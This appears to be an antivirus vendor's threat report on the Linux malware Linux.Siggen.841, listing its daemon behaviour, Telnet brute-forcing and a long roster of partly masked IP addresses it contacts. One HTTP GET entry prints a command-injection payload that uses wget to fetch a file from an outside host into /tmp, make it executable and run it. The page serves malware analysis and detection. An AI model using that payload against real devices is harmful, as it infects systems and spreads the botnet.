Linux.Siggen.841

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

jifjialkj5mgn0kn1pgd

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
80.###.67.245:3287
17#.##.227.38:80
21#.##5.188.166:80
21#.##1.68.150:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.###.#########.##########%20aa%27;wget%20http://80.211.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

19#.###.53.214:37215
13#.###.117.214:52869
18#.##.196.129:52869
88.##.170.214:52869
14#.###.23.153:52869
10#.##7.168.22:8080
21#.##.127.22:80
2.##.4.130:80
57.##.171.20:80
15#.###.90.170:52869
72.###.143.153:52869
20#.##.73.57:52869
17#.###.145.116:52869
19#.###.212.250:37215
15#.##.232.214:37215
19#.###.133.42:37215
41.###.184.12:37215
16#.##3.59.118:80
13#.##.202.132:80
21#.##7.132.89:80
21#.##.213.115:80
79.##.163.23:52869
16#.###.138.40:52869
19#.##.105.136:52869
87.###.144.193:52869
20#.##0.205.61:80
19#.##7.166.100:80
21#.##3.57.208:8080
84.###.41.105:80
19#.##.34.189:37215
19#.###.234.68:37215
15#.##.172.150:37215
15#.##.228.103:37215
19#.##.131.231:37215
81.###.61.175:52869
10#.##.144.101:52869
87.###.71.150:52869
17#.###.33.211:52869
21#.##8.243.29:80
15#.##.117.82:80
17#.##.227.38:80
21#.##2.143.43:80
18#.###.156.60:52869
17#.##3.0.59:52869
18#.##.71.110:52869
18#.###.129.21:52869
41.##.4.76:37215
19#.#.139.156:37215
41.###.18.191:37215
80.###.67.245:3287
21#.##0.251.28:80
21#.##.14.234:80
60.##.19.59:52869
61.##.94.8:52869
19#.###.131.191:52869
21#.##.233.213:52869
19#.###.225.244:37215
41.###.176.42:37215
19#.###.109.197:37215
21#.##.26.131:80
71.###.136.81:8080
21#.##.206.143:80
15#.##0.16.94:52869
15#.##.104.23:52869
15#.##.93.110:37215
15#.##.69.27:37215
19#.##.200.30:37215
19#.##6.94.71:37215
41.###.67.197:37215
66.##6.77.56:80
20#.#6.88.61:80
21#.##.165.18:80
21#.##8.30.79:80
86.###.78.217:52869
10#.###.83.220:52869
11#.##.12.142:52869
17#.##2.2.229:52869
41.###.172.171:37215
15#.##.86.242:37215
21#.##.168.98:80
13#.##.148.246:80
11#.##2.245.94:80
21#.##8.249.127:80
21#.###.184.57:52869
13#.##.48.236:52869
18#.##.26.201:52869
38.###.246.180:52869
15#.###.46.181:37215
41.##.16.198:37215
41.##.85.246:37215
22#.###.180.144:8080
21#.##.150.79:80
47.###.26.240:52869
31.###.3.13:52869
21#.##3.185.241:80
21#.##1.237.121:80
41.###.103.155:37215
19#.###.49.255:37215
21#.###.241.170:52869
54.###.158.1:52869
94.###.239.223:52869
19#.##.89.152:37215
19#.###.229.16:37215
41.###.18.151:37215
20.##0.35.77:80
17#.##.193.210:80
21#.##5.188.166:80
20.#.#37.39:52869
66.###.37.157:52869
11#.##.127.64:52869
15#.#.131.179:37215
15#.##.88.25:37215
15#.###.159.149:37215
21#.##2.114.159:80
5.##.35.83:80
21#.##.182.122:80
67.###.213.167:8080
13#.##.46.75:52869
36.###.181.125:52869
15#.###.207.121:52869
41.##.149.227:37215
15#.###.208.98:37215
19#.###.226.162:37215
19#.##6.56.96:37215
25.##.246.120:80
41.##8.39.52:80
66.##.248.79:80
21#.##.241.141:80
19#.###.162.172:52869
19#.###.120.170:52869
12#.#.49.94:52869
16#.##0.4.211:52869
19#.###.117.147:37215
19#.##5.62.32:37215
15#.##.201.158:37215
15#.##6.122.14:80
21#.##.225.76:80
21#.##9.60.40:80
89.###.45.221:52869
88.##.90.54:52869
18#.###.156.47:52869
75.##.255.0:52869
15#.##.166.7:37215
15#.##.53.12:37215
41.###.51.16:37215
41.##.82.26:37215
19#.###.62.113:37215
12#.##8.129.149:80
21#.##.236.183:80
92.##.30.164:8080
21#.##1.104.193:80
53.###.213.55:80
11#.###.144.149:52869
86.###.16.136:52869
51.###.209.10:52869
88.###.95.25:52869
85.##.21.81:52869
41.###.6.132:37215
41.###.209.9:37215
41.###.153.30:37215
15#.##.249.108:37215
21#.##.204.42:80
21#.##5.237.54:80
17#.##.56.143:80
14#.###.233.182:52869
89.##.203.193:52869
41.###.165.156:37215
19#.##.147.35:37215
36.###.117.120:52869
17#.##.63.47:52869
15#.###.38.216:52869
21#.##2.214.98:80
21#.##.216.214:80
21#.##.155.245:80
19#.##.70.40:37215
41.##.238.242:37215
41.###.245.120:37215
15#.###.217.12:52869
93.###.5.88:52869
80.###.10.67:52869
22#.#23.4.40:80
74.###.136.238:8080
34.###.236.86:80
21#.##.37.119:80
15#.###.241.81:37215
41.###.243.154:37215
41.###.51.44:37215
19#.###.166.235:37215
19#.###.37.215:37215
14#.##5.119.111:80
21#.##.238.220:80
10#.##9.128.164:80
21#.##4.125.181:80
20#.##2.95.61:52869
12#.###.39.193:52869
4.##.#00.62:52869
22#.##3.191.0:52869
17#.##1.252.3:80
15#.###.169.49:37215
15#.###.176.120:37215
41.###.29.66:37215
5.###.192.147:52869
13#.##7.90.83:52869
19#.##.126.78:80
11#.##3.206.72:80
21#.###.204.228:8080
15#.##1.9.96:52869
48.##.165.194:52869
19#.###.212.81:52869
15#.###.172.85:37215
41.###.1.101:37215
41.##.8.252:37215
9.###.32.52:80
21#.##.125.50:80
49.###.228.121:80
87.##.126.214:52869
13#.###.84.137:52869
19#.##7.83.74:37215
15#.###.206.41:37215
19#.###.151.53:37215
14#.##.144.27:52869
18#.###.69.154:52869
10#.###.12.201:52869
54.###.155.2:52869
13#.###.114.61:52869
21#.#4.6.129:80
21#.##7.181.174:80
21#.##.43.104:80
21#.##1.124.158:80
41.##.177.178:37215
15#.###.103.46:37215
15#.###.233.233:37215
15#.##.4.108:37215
15#.##.59.95:37215
15#.##4.121.223:80
21#.##.254.211:80
21#.##7.107.53:8080
21#.##7.168.188:80
20#.###.231.251:52869
48.###.252.115:52869
41.###.235.165:37215
15#.##.95.66:37215
14#.###.183.238:52869
21#.###.103.62:52869
21#.#6.64.52:80
21#.##8.161.12:80
21#.#6.74.80:80
41.##.215.188:37215
41.##.65.255:37215
15#.##.58.17:37215
13#.##.127.181:52869
18#.##.149.53:52869
51.##.11.51:52869
21#.##.192.98:80
12#.##8.71.56:80
41.###.124.62:37215
19#.##.76.161:37215
15#.###.177.60:37215
79.##.5.240:52869
86.###.107.162:52869
14.###.103.59:52869
10#.##8.196.171:80
21#.##4.206.59:80
52.###.163.32:80
85.##.9.55:52869
16#.##.228.158:52869
11#.##2.53.26:52869
15#.###.241.102:37215
41.##.186.165:37215
41.###.11.236:37215
15#.###.110.219:37215
21#.##.115.58:8080
21#.##8.254.30:80
21#.##7.73.208:80
21#.###.110.68:52869
11#.###.185.221:52869
97.###.67.207:52869
11#.###.241.85:52869
21#.##6.47.90:80
14#.##1.217.163:80
21#.##9.35.83:80
21#.##5.87.52:80
15#.###.245.100:37215
41.##.92.33:37215
41.##.21.115:37215
19#.###.28.105:37215
16#.##.106.147:52869
77.###.172.84:52869
14#.##4.163.7:52869
65.###.80.125:52869
21#.##0.59.207:80
21#.##.132.48:80
17#.##9.152.111:80
19#.###.252.142:8080
15#.##.78.230:37215
15#.###.130.193:37215
41.###.36.3:37215
15#.##.198.73:52869
50.###.2.222:52869
5.###.187.71:52869
21#.#3.5.51:80
21#.#4.89.39:80
21#.##5.214.25:80
19#.##.179.236:80
15#.##.240.3:37215
19#.##.242.122:37215
19#.###.150.192:37215
19#.##4.69.61:37215
20#.###.159.95:52869
54.###.121.160:52869
84.###.155.170:52869
17#.###.21.135:52869
87.###.119.112:80
5.##.63.114:80
21#.##7.155.205:80
17#.##.129.126:80
21#.##1.79.96:80
15#.##.206.187:37215
15#.#.223.166:37215
41.###.145.14:37215
15#.##.145.154:37215
19#.##5.75.1:37215
16#.###.205.231:52869
75.###.169.62:52869
68.###.9.104:52869
15#.##.212.94:52869
21#.###.113.180:8080
21#.##3.92.81:80
13#.##0.194.185:80
21#.##6.175.22:80
41.##.36.87:37215
19#.###.35.171:37215
41.##.96.52:37215
15#.##.207.169:37215
9.##.#61.136:52869
76.###.105.234:52869
74.###.242.174:52869
92.##.75.173:52869
21#.##7.227.83:80
10#.##3.151.227:80
14#.#3.92.34:80
44.###.226.120:80
41.##.199.185:37215
41.##.22.28:37215
14#.###.137.171:52869
21#.###.101.174:52869
58.###.45.20:52869
15#.###.225.183:52869
21#.##3.222.31:80
17#.##2.179.121:80
21#.##1.66.52:8080
13#.##9.125.176:80
20#.##6.56.148:80
15#.###.254.156:37215
15#.###.160.102:37215
19#.##.120.229:37215
41.###.110.112:37215
10#.##.52.179:52869
99.###.191.3:52869
35.###.1.130:52869
92.##.60.112:52869
21#.##3.227.125:80
19#.##9.213.250:80
19#.###.255.60:37215
41.##.69.54:37215
19#.##.27.24:52869
16#.###.137.147:52869
73.##.3.211:52869
17#.##3.249.98:80
71.##.12.2:80
92.##.243.151:80
41.##.211.40:37215
19#.###.207.44:52869
18#.###.126.153:52869
97.###.82.116:52869
14#.##.120.103:52869
19#.##8.7.76:37215
15#.##4.104.8:37215
41.###.93.86:37215
19#.##.172.104:37215
17.###.233.95:80
15#.##7.105.211:80
13#.###.125.231:52869
17#.##8.71.4:52869
10#.###.83.105:52869
16#.##.88.166:52869
16#.###.229.105:52869
61.###.178.146:8080
21#.#.168.40:80
10#.##1.20.255:80
19#.##5.204.133:80
41.###.34.248:37215
19#.##7.82.59:37215
15#.###.122.150:37215
15#.###.199.188:37215
19#.##7.175.9:37215
21#.##.28.184:80
74.##.105.144:80
19.##.154.76:52869
15#.##.86.48:52869
19#.###.254.61:52869
15#.#.1.48:37215
41.##.76.57:37215
15#.###.225.78:37215
41.###.54.145:37215
15#.###.104.221:37215
19#.##6.42.60:37215
15#.##7.72.44:37215
21#.##1.67.202:80
36.##4.34.79:80
25.###.137.96:80
21#.##.251.84:80
66.##.150.120:52869
13#.##.232.14:52869
17#.##.111.65:52869
24.###.34.252:52869
19#.##0.59.92:37215
41.###.207.4:37215
15#.###.96.172:37215
15#.###.207.141:37215
21#.##.140.161:8080
10#.##.20.184:80
21#.##6.16.42:80
21#.##2.74.193:80
14#.##.12.106:80
64.###.30.129:52869
80.##.139.9:52869
14#.##.29.99:52869
13#.##.163.163:52869
86.##.237.126:52869
41.###.54.12:37215
19#.##.37.106:37215
41.##.255.8:37215
41.##.53.248:37215
41.##.211.92:37215
44.###.140.233:80
21#.##.111.105:80
21#.#4.6.86:80
13#.###.43.249:52869
11#.###.173.71:52869
14#.###.151.156:52869
79.#.57.5:52869
15#.##.24.49:52869
21#.##4.94.120:80
12#.##9.156.0:80
21#.##6.86.210:8080
77.##4.10.41:80
19#.##.135.160:37215
15#.###.247.32:37215
41.##.183.20:37215
41.###.151.242:37215
19#.###.122.48:52869
12#.###.180.33:52869
12#.###.94.141:52869
17#.##.153.85:52869
58.###.16.200:52869
21#.##.172.36:80
71.##5.25.94:80
21#.##9.66.20:80
17.###.204.200:80
15#.##.67.226:37215
41.#.#20.64:37215
15#.###.213.206:37215
15#.###.105.59:37215
19#.###.34.175:37215
21#.##2.83.162:80
10#.##.244.212:80
14#.##.134.186:80
41.###.66.133:37215
19#.###.124.27:37215
15#.###.176.221:37215
31.##.117.36:80
15#.###.168.44:37215
41.##.160.125:37215
41.###.60.240:37215
19#.###.114.62:37215
41.###.134.3:37215
15#.###.229.176:37215
19#.##.92.111:37215
41.###.221.46:37215
16#.###.248.136:8080
21#.##7.196.187:80
21#.##9.16.142:80
21#.##.128.17:80
25.###.205.70:80
21#.##.168.214:80
11#.##.169.171:80
21#.#.105.235:80
21#.##9.216.173:80
21#.##9.138.177:80
21#.##.87.123:8080
21#.##.16.112:80
62.##2.5.101:80
21#.##.124.173:80
13#.##4.190.199:80
86.##.184.93:80
39.###.241.116:80
17#.##5.241.254:80
18#.##.243.157:80
21#.#43.18.0:80
21#.##6.249.11:8080
43.##.131.38:80
60.##.192.42:80
21#.##9.195.92:80
12#.##4.80.242:80
12#.#.149.248:80
21#.##4.206.156:80
10#.##.229.187:80
21#.##2.180.127:80
13#.##6.12.95:80
17#.##4.128.6:8080
81.###.14.243:80
57.##.150.30:80
18#.#96.4.32:80
21#.#6.36.89:80
21#.##.251.169:80
10#.##0.163.65:80
18#.##4.207.126:80
21#.#2.53.64:80
80.##.222.147:80
21#.##.188.30:8080
21#.##3.3.209:80
16#.##2.68.181:80
17#.##.177.125:80
39.###.131.70:80
21#.##.187.197:80
21#.##6.111.227:80
21#.##.56.147:80
21#.##.231.243:80
21#.##0.61.217:80
21#.#.231.245:8080
21#.##5.96.117:80
11#.##.253.101:80
15#.#59.43.7:80
88.##.183.230:80
21#.#8.44.98:80
21#.##.218.61:80
15#.##0.195.190:80
21#.##2.52.51:80
12#.##3.238.39:80
21#.##.18.238:8080
13#.##2.54.39:80
21#.##5.152.10:80
25.###.230.120:80
21#.##1.132.139:80
21#.##9.30.233:80
31.##.81.38:80
12#.##2.88.50:80
21#.##.41.129:80
21#.#5.13.43:80
4.##.#10.233:8080
21#.##9.247.103:80
21#.##.116.246:80
21#.##8.12.29:80
95.###.156.120:80
49.###.245.14:80
18#.##5.94.233:80
21#.##9.148.36:80
21#.##1.86.129:80
18#.#6.27.12:80
21#.##.231.157:8080
21#.##8.185.86:80
20#.##7.112.174:80
85.###.222.185:80
21#.#0.27.69:80
21#.##0.145.199:80
21#.##.204.218:80
21#.##.142.231:80
46.##.110.254:80
21#.##4.18.239:80
15#.##0.4.124:8080
10#.##0.155.65:80
18#.##.252.142:80
21#.##1.68.150:80
21#.##3.93.134:80
14#.##.188.172:80
21#.##.138.111:80
21#.##.210.13:80
21#.#6.27.30:80
21#.##2.203.251:80
21#.##.32.223:8080
19#.##0.7.127:80
21#.##.164.26:80
21#.##4.66.119:80
21#.##5.191.107:80
21#.##3.123.212:80
21#.##8.91.211:80
19#.##.245.40:80
21#.##.106.18:80
21#.#8.61.58:80
21#.#.213.67:8080
21#.##2.126.245:80
21#.##.177.195:80
20#.##8.194.165:80
18#.##3.16.247:80
21#.##.155.180:80
21#.##8.65.237:80
15#.##6.21.234:80
22#.##3.202.96:80
25.###.167.129:80
32.###.37.176:8080
21#.##0.55.191:80
18#.##.111.74:80
21#.##5.221.79:80
21#.##3.44.52:80
74.##.68.40:80
1.##.255.231:80
16#.##.134.53:80
19#.##.50.167:80
21#.##.185.65:80
49.##.83.201:8080
24.##.112.52:80
19#.##5.194.140:80
21#.##5.71.69:80
21#.##.79.235:80
19#.##5.69.154:80
21#.##7.244.57:80
21#.##0.34.226:80
21#.##3.75.47:80
21#.##.166.25:80
21#.##3.82.82:8080
21#.##6.169.212:80
21#.##7.56.178:80
21#.##9.242.236:80
21#.##4.221.248:80
62.###.222.102:80
50.##.205.25:80
21#.##5.50.206:80
17#.##.159.169:80
21#.##6.160.141:80
2.###.124.208:8080
21#.#0.51.59:80
21#.##.141.216:80
21#.##5.111.147:80
15#.##.193.254:80
13#.##1.72.130:80
21#.##.131.91:80
21#.##0.249.187:80
21#.#.194.67:80
16#.##7.51.112:80

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations